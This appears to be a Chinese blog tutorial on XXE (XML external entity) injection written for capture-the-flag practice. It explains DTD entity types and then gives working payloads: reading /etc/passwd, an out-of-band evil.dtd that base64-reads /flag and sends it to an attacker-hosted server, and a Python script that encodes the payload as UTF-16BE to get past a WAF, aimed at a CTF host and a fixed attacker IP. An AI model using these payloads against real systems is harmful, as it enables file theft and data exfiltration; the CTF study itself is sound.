Gentle_knife's Studio.

xxe

Word count: 1kReading time: 4 min
2025/12/08
loading

基础知识:dtd,四种实体

xxe 是 xml external entity,xml 外部实体注入,在叙述漏洞之前先来了解一下关于 xml 的基础知识。

xml 是一种数据格式,他允许使用者在文档头部定义要使用的变量,这部分区域就是 dtd(英文)在 dtd 里面把变量称呼为“实体”。

例如这个代码块中的就是 dtd 部分:

1
2
3
4
5
<?xml version ="1.0" encoding = "UTF-8"?>
<!DOCTYPE whatevername [
<!ENTITY name "John">
]>
<first>&name;</first>

在浏览时,&name 就会被替换为John。

“John”这个位置不仅可以填写普通的字符串,还支持 file://协议和 http://协议等来引用外部资源,例如:

1
2
3
4
5
<?xml version ="1.0" encoding = "UTF-8"?>
<!DOCTYPE whatevername[
<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<first>&name;</first>

这样我们就可以在回显处看到本地的/etc/passwd 文件。

普通的字符串是内部实体, file://协议和 http://协议这种就是外部实体

还有一种实体的分类标准是通用实体&和参数实体%。

刚才我们看到的&就是通用实体,他采用懒加载机制,只有写完 dtd,在 xml 部分才会开始加载。也就是说,我们想要在 dtd 部分用&实现变量读取的叠加是不可能的:

1
2
3
4
5
6
<?xml version ="1.0" encoding = "UTF-8"?>
<!DOCTYPE whatevername[
<!ENTITY name "John">
<!ENTITY full_name "&name Reese">
]>
<first>&full_name;</first>

要想实现这样的功能,用的是%,而相应的,%不可能出现在除了 dtd 以外的部分,也许我们可以写成这样:

1
2
3
4
5
6
<?xml version ="1.0" encoding = "UTF-8"?>
<!DOCTYPE whatevername[
<!ENTITY % name "John">
<!ENTITY full_name "%name; Reese">
]>
<first>&full_name;</first>

但是实际运行的时候还是会报错,因为 xml 有一个规则,具体的表现就是,在当前的 xml 文件中,在 dtd 的双引号里是不允许出现%的。但是如果用外部实体调用外部的 dtd,就可以在 dtd 的双引号里允许出现%。

例如,我们先把要用的实体移出去,改名为 evil.dtd

1
2
<!ENTITY % name "John">
<!ENTITY full_name "%name; Reese">

接着在文档里写:

1
2
3
4
5
6
<?xml version ="1.0" encoding = "UTF-8"?>
<!DOCTYPE whatevername[
<!ENTITY % source SYSTEM "http://ip:port/evil.dtd">
%source;
]>
<first>&full_name;</first>

就可以打印出我们想要的东西了。

各种情景的题目

出网无回显

evil.dtd:

1
2
3
4
<!ENTITY % f1ag SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#37;(这里是%的xml编码) send SYSTEM 'http://ip:port/?file=%f1ag'>">
%int;
%send;

在服务器上执行

1
python -m http.server 9999
1
2
3
4
5
6
<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE whatever [
<!ENTITY % source SYSTEM "http://ip:port/evil.dtd">
%source;
]>
<whatever>1;</whatever>

过滤ETENTY

可以执行 xml,但是过滤了<!ENTITY

那么写个脚本,把发过去的 xml 进行编码就行

(这一部分我是直接复制的其实我不懂这个脚本在干什么)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

url = "http://challenge.ilovectf.cn:30036/"

# 原始 XML:仅负责引用远程 DTD
# encoding="UTF-16BE" 声明必须与实际编码一致
payload_str = """<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://106.15.35.97:9999/evil.dtd">
%remote;
]>
<root/>"""

# 关键点1:转为 UTF-16BE 二进制流绕过 WAF
payload_bytes = payload_str.encode('utf-16be')

# 关键点2:封装为表单数据 (application/x-www-form-urlencoded)
# requests 会自动对 bytes 进行 URL 编码
data = {
"xmlInput": payload_bytes
}

headers = {
"User-Agent": "Mozilla/5.0 ... Chrome/142.0.0.0 Safari/537.36"
}

try:
print("[-] Sending Payload...")
res = requests.post(url, data=data, headers=headers)
print(f"[-] Status: {res.status_code}")
print("[-] Response snippet:", res.text[:100])
except Exception as e:
print(e)
CATALOG
  1. 1. 基础知识:dtd,四种实体
  2. 2. 各种情景的题目
    1. 2.1. 出网无回显
      1. 2.1.1. 过滤ETENTY